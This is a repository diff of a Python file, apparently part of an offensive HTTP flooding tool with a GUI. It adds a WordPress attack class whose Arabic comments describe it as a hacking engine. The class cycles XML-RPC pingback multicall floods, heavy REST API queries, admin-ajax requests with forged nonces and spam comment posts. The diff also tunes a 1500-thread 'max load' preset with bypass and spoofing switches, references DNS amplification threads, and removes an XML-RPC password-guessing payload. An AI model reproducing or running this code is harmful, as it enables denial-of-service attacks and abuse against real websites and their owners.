Update 1.py
Browse files
1.py
CHANGED
|
@@ -3347,6 +3347,82 @@ def print_evasion_report(identity_pool=None, use_tcp_spoof=False, use_cffi=False
|
|
| 3347 |
|
| 3348 |
|
| 3349 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3350 |
class UltimateIntegratedEngine:
|
| 3351 |
def __init__(self, target: str, threads: int = 1000, duration: int = 0,
|
| 3352 |
use_identities: bool = True, use_human_timing: bool = True,
|
|
@@ -3574,50 +3650,41 @@ class UltimateIntegratedEngine:
|
|
| 3574 |
threading.Thread(target=dns_amplification_attack, args=(ns_ip, 53, 150), daemon=True).start()
|
| 3575 |
except Exception:
|
| 3576 |
pass
|
| 3577 |
-
if
|
| 3578 |
-
|
| 3579 |
-
|
| 3580 |
-
|
| 3581 |
-
|
| 3582 |
-
|
| 3583 |
-
|
| 3584 |
-
"/xmlrpc.php",
|
| 3585 |
-
"/wp-json/wp/v2/posts"
|
| 3586 |
-
]
|
| 3587 |
-
selected_path = random.choice(wp_attack_paths)
|
| 3588 |
-
path = selected_path
|
| 3589 |
-
method = "POST"
|
| 3590 |
-
if 'xmlrpc' in selected_path:
|
| 3591 |
-
data = """<?xml version="1.0"?>
|
| 3592 |
-
<methodCall>
|
| 3593 |
-
<methodName>system.multicall</methodName>
|
| 3594 |
-
<params>
|
| 3595 |
-
<param><value><array><data>
|
| 3596 |
-
<value><struct>
|
| 3597 |
-
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
|
| 3598 |
-
<member><name>params</name><value><array><data>
|
| 3599 |
-
<value><string>admin</string></value>
|
| 3600 |
-
<value><string>password123</string></value>
|
| 3601 |
-
</data></array></value></member>
|
| 3602 |
-
</struct></value>
|
| 3603 |
-
</data></array></value></param>
|
| 3604 |
-
</params>
|
| 3605 |
-
</methodCall>"""
|
| 3606 |
headers["Content-Type"] = "text/xml"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3607 |
else:
|
| 3608 |
-
|
| 3609 |
-
'author': random.choice(['Ahmed', 'Mohamed', 'Omar', 'Sara']),
|
| 3610 |
-
'email': f'user{random.randint(1,9999)}@gmail.com',
|
| 3611 |
-
'url': 'https://example.com',
|
| 3612 |
-
'comment': ' '.join(random.choices(['Nice post!', 'Thanks for sharing.', 'Very informative.', 'Great content!'], k=3)),
|
| 3613 |
-
'comment_post_ID': str(random.randint(1, 500)),
|
| 3614 |
-
'comment_parent': '0',
|
| 3615 |
-
'submit': 'Post Comment'
|
| 3616 |
-
})
|
| 3617 |
headers["Content-Type"] = "application/x-www-form-urlencoded"
|
| 3618 |
-
|
| 3619 |
-
|
| 3620 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3621 |
else:
|
| 3622 |
if self.random_query:
|
| 3623 |
if '?' in path:
|
|
@@ -4147,31 +4214,33 @@ class UltimateIntegratedGUI:
|
|
| 4147 |
self.log(f"📁 Proxy file loaded: {filename}", "INFO")
|
| 4148 |
def set_max_load(self):
|
| 4149 |
self.mode_var.set("Integrated")
|
| 4150 |
-
self.threads.set(
|
| 4151 |
self.duration.set(0)
|
| 4152 |
-
self.requests.set(
|
| 4153 |
-
self.method.set("
|
| 4154 |
self.request_rate.set(0)
|
| 4155 |
self.vpn_mode.set("System Default")
|
|
|
|
| 4156 |
self.use_identities.set(True)
|
| 4157 |
-
self.use_human_timing.set(
|
| 4158 |
self.use_cffi.set(True)
|
| 4159 |
self.use_js_bypass.set(True)
|
| 4160 |
-
self.use_tcp_spoof.set(
|
| 4161 |
self.use_ai_payload.set(True)
|
| 4162 |
self.use_captcha.set(False)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 4163 |
self.dns_amplify_var = tk.BooleanVar(value=False)
|
| 4164 |
self.ns_attack_var = tk.BooleanVar(value=False)
|
| 4165 |
self.dns_amplify.set(False)
|
| 4166 |
self.ns_attack.set(False)
|
| 4167 |
|
| 4168 |
-
self.use_keepalive.set(True)
|
| 4169 |
-
self.max_load.set(True)
|
| 4170 |
-
self.use_http2.set(True)
|
| 4171 |
-
self.use_random_query.set(True)
|
| 4172 |
if hasattr(self, 'current_impersonate'):
|
| 4173 |
self.current_impersonate = random.choice(self.impersonate_list)
|
| 4174 |
-
self.log("
|
| 4175 |
|
| 4176 |
def _find_executable(self, names, extra_paths=None):
|
| 4177 |
found = []
|
|
|
|
| 3347 |
|
| 3348 |
|
| 3349 |
|
| 3350 |
+
class WordPressBypassEngine:
|
| 3351 |
+
"""محرك متخصص لاختراق ووردبريس عبر ثغرات منطقية متعددة"""
|
| 3352 |
+
|
| 3353 |
+
def __init__(self, target_host):
|
| 3354 |
+
self.host = target_host
|
| 3355 |
+
self.scheme = "https"
|
| 3356 |
+
self.last_post_id = random.randint(1, 500)
|
| 3357 |
+
self.attack_index = 0
|
| 3358 |
+
self.endpoints = [
|
| 3359 |
+
self._xmlrpc_attack,
|
| 3360 |
+
self._rest_api_attack,
|
| 3361 |
+
self._ajax_attack,
|
| 3362 |
+
self._comment_attack,
|
| 3363 |
+
]
|
| 3364 |
+
|
| 3365 |
+
def get_next_payload(self):
|
| 3366 |
+
"""دور بين 4 أنواع هجوم مختلفة لتجنب النمطية"""
|
| 3367 |
+
self.attack_index = (self.attack_index + 1) % len(self.endpoints)
|
| 3368 |
+
return self.endpoints[self.attack_index]()
|
| 3369 |
+
|
| 3370 |
+
def _xmlrpc_attack(self):
|
| 3371 |
+
"""XML-RPC Multipayload - يستهلك CPU ويصعب تحليله"""
|
| 3372 |
+
path = "/xmlrpc.php"
|
| 3373 |
+
multicall = []
|
| 3374 |
+
for _ in range(20):
|
| 3375 |
+
multicall.append({
|
| 3376 |
+
"methodName": "pingback.ping",
|
| 3377 |
+
"params": [
|
| 3378 |
+
f"https://{random.choice(['google.com', 'bing.com', 'example.com'])}",
|
| 3379 |
+
f"{self.scheme}://{self.host}/{random.randint(1,999)}"
|
| 3380 |
+
]
|
| 3381 |
+
})
|
| 3382 |
+
payload = f"""<?xml version="1.0"?>
|
| 3383 |
+
<methodCall>
|
| 3384 |
+
<methodName>system.multicall</methodName>
|
| 3385 |
+
<params><param><value><array><data>
|
| 3386 |
+
{''.join([f'<value><struct><member><name>methodName</name><value><string>{m["methodName"]}</string></value></member><member><name>params</name><value><array><data><value><string>{m["params"][0]}</string></value><value><string>{m["params"][1]}</string></value></data></array></value></member></struct></value>' for m in multicall])}
|
| 3387 |
+
</data></array></value></param></params>
|
| 3388 |
+
</methodCall>"""
|
| 3389 |
+
return path, payload, "text/xml"
|
| 3390 |
+
|
| 3391 |
+
def _rest_api_attack(self):
|
| 3392 |
+
"""REST API - يستهلك قاعدة البيانات"""
|
| 3393 |
+
path = f"/wp-json/wp/v2/posts?per_page={random.randint(50,100)}&page={random.randint(1,20)}"
|
| 3394 |
+
return path, "", "application/json"
|
| 3395 |
+
|
| 3396 |
+
def _ajax_attack(self):
|
| 3397 |
+
"""Admin AJAX - يحاكي طلبات حقيقية من الواجهة"""
|
| 3398 |
+
actions = ["wp_ajax_nopriv_", "heartbeat", "query-attachments", "get-comments"]
|
| 3399 |
+
action = random.choice(actions) + str(random.randint(1, 999))
|
| 3400 |
+
path = f"/wp-admin/admin-ajax.php?action={action}&_wpnonce={hashlib.md5(str(random.random()).encode()).hexdigest()[:10]}"
|
| 3401 |
+
payload = f"post_id={random.randint(1,500)}&comment_parent=0&comment={''.join(random.choices(['Nice','Great','Thanks','Awesome','Informative'], k=random.randint(3,8)))}"
|
| 3402 |
+
return path, payload, "application/x-www-form-urlencoded"
|
| 3403 |
+
|
| 3404 |
+
def _comment_attack(self):
|
| 3405 |
+
"""تعليق وهمي مع محاولة تخمين الـ Nonce"""
|
| 3406 |
+
path = "/wp-comments-post.php"
|
| 3407 |
+
self.last_post_id = random.randint(1, 500)
|
| 3408 |
+
comment_text = ' '.join(random.choices([
|
| 3409 |
+
'Great article!', 'Very informative.', 'I totally agree with your point.',
|
| 3410 |
+
'Thanks for sharing this.', 'This is really helpful.', 'Interesting perspective.',
|
| 3411 |
+
'Well written!', 'Looking forward to more content.', 'I have a question about this.'
|
| 3412 |
+
], k=random.randint(2,5)))
|
| 3413 |
+
|
| 3414 |
+
payload = urllib.parse.urlencode({
|
| 3415 |
+
'author': random.choice(['Ahmed', 'Mohamed', 'Omar', 'Sara', 'John', 'Emma', 'Liam']),
|
| 3416 |
+
'email': f'user_{random.randint(1000,9999)}@{random.choice(["gmail.com","yahoo.com","outlook.com"])}',
|
| 3417 |
+
'url': f'https://{random.choice(["example.com","blogger.com","wordpress.org"])}',
|
| 3418 |
+
'comment': comment_text,
|
| 3419 |
+
'comment_post_ID': str(self.last_post_id),
|
| 3420 |
+
'comment_parent': '0',
|
| 3421 |
+
'submit': 'Post Comment'
|
| 3422 |
+
})
|
| 3423 |
+
return path, payload, "application/x-www-form-urlencoded"
|
| 3424 |
+
|
| 3425 |
+
|
| 3426 |
class UltimateIntegratedEngine:
|
| 3427 |
def __init__(self, target: str, threads: int = 1000, duration: int = 0,
|
| 3428 |
use_identities: bool = True, use_human_timing: bool = True,
|
|
|
|
| 3650 |
threading.Thread(target=dns_amplification_attack, args=(ns_ip, 53, 150), daemon=True).start()
|
| 3651 |
except Exception:
|
| 3652 |
pass
|
| 3653 |
+
if self.wordpress_mode:
|
| 3654 |
+
if not hasattr(self, 'wp_engine'):
|
| 3655 |
+
self.wp_engine = WordPressBypassEngine(self.host)
|
| 3656 |
+
wp_path, wp_payload, content_type = self.wp_engine.get_next_payload()
|
| 3657 |
+
path = wp_path
|
| 3658 |
+
if 'xmlrpc' in path:
|
| 3659 |
+
data = wp_payload.encode('utf-8')
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3660 |
headers["Content-Type"] = "text/xml"
|
| 3661 |
+
headers["Content-Length"] = str(len(data))
|
| 3662 |
+
elif 'admin-ajax' in path:
|
| 3663 |
+
data = wp_payload.encode('utf-8')
|
| 3664 |
+
headers["Content-Type"] = "application/x-www-form-urlencoded"
|
| 3665 |
+
headers["X-Requested-With"] = "XMLHttpRequest"
|
| 3666 |
+
headers["Referer"] = f"{self.scheme}://{self.host}/"
|
| 3667 |
+
elif 'wp-json' in path:
|
| 3668 |
+
data = None
|
| 3669 |
+
headers["Accept"] = "application/json, text/javascript, */*; q=0.01"
|
| 3670 |
+
headers["Referer"] = f"{self.scheme}://{self.host}/"
|
| 3671 |
else:
|
| 3672 |
+
data = wp_payload.encode('utf-8')
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3673 |
headers["Content-Type"] = "application/x-www-form-urlencoded"
|
| 3674 |
+
headers["Referer"] = f"{self.scheme}://{self.host}/"
|
| 3675 |
+
headers["Origin"] = f"{self.scheme}://{self.host}"
|
| 3676 |
+
else:
|
| 3677 |
+
if self.random_query:
|
| 3678 |
+
if '?' in path:
|
| 3679 |
+
path += f"&_{random.randint(1,999999)}"
|
| 3680 |
+
else:
|
| 3681 |
+
path += f"?_{random.randint(1,999999)}"
|
| 3682 |
+
if self.http_method == "POST":
|
| 3683 |
+
body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
|
| 3684 |
+
headers["Content-Type"] = "application/json"
|
| 3685 |
+
data = body.encode('utf-8')
|
| 3686 |
+
else:
|
| 3687 |
+
data = None
|
| 3688 |
else:
|
| 3689 |
if self.random_query:
|
| 3690 |
if '?' in path:
|
|
|
|
| 4214 |
self.log(f"📁 Proxy file loaded: {filename}", "INFO")
|
| 4215 |
def set_max_load(self):
|
| 4216 |
self.mode_var.set("Integrated")
|
| 4217 |
+
self.threads.set(1500)
|
| 4218 |
self.duration.set(0)
|
| 4219 |
+
self.requests.set(0)
|
| 4220 |
+
self.method.set("POST")
|
| 4221 |
self.request_rate.set(0)
|
| 4222 |
self.vpn_mode.set("System Default")
|
| 4223 |
+
|
| 4224 |
self.use_identities.set(True)
|
| 4225 |
+
self.use_human_timing.set(True)
|
| 4226 |
self.use_cffi.set(True)
|
| 4227 |
self.use_js_bypass.set(True)
|
| 4228 |
+
self.use_tcp_spoof.set(False)
|
| 4229 |
self.use_ai_payload.set(True)
|
| 4230 |
self.use_captcha.set(False)
|
| 4231 |
+
self.use_keepalive.set(True)
|
| 4232 |
+
self.use_http2.set(False)
|
| 4233 |
+
self.use_random_query.set(True)
|
| 4234 |
+
self.max_load.set(True)
|
| 4235 |
+
|
| 4236 |
self.dns_amplify_var = tk.BooleanVar(value=False)
|
| 4237 |
self.ns_attack_var = tk.BooleanVar(value=False)
|
| 4238 |
self.dns_amplify.set(False)
|
| 4239 |
self.ns_attack.set(False)
|
| 4240 |
|
|
|
|
|
|
|
|
|
|
|
|
|
| 4241 |
if hasattr(self, 'current_impersonate'):
|
| 4242 |
self.current_impersonate = random.choice(self.impersonate_list)
|
| 4243 |
+
self.log("🧠 SMART MAX LOAD ACTIVATED: 1500 Workers, 4-Vector WP Attack, JS Bypass ON, TLS Spoof ON.", "SUCCESS")
|
| 4244 |
|
| 4245 |
def _find_executable(self, names, extra_paths=None):
|
| 4246 |
found = []
|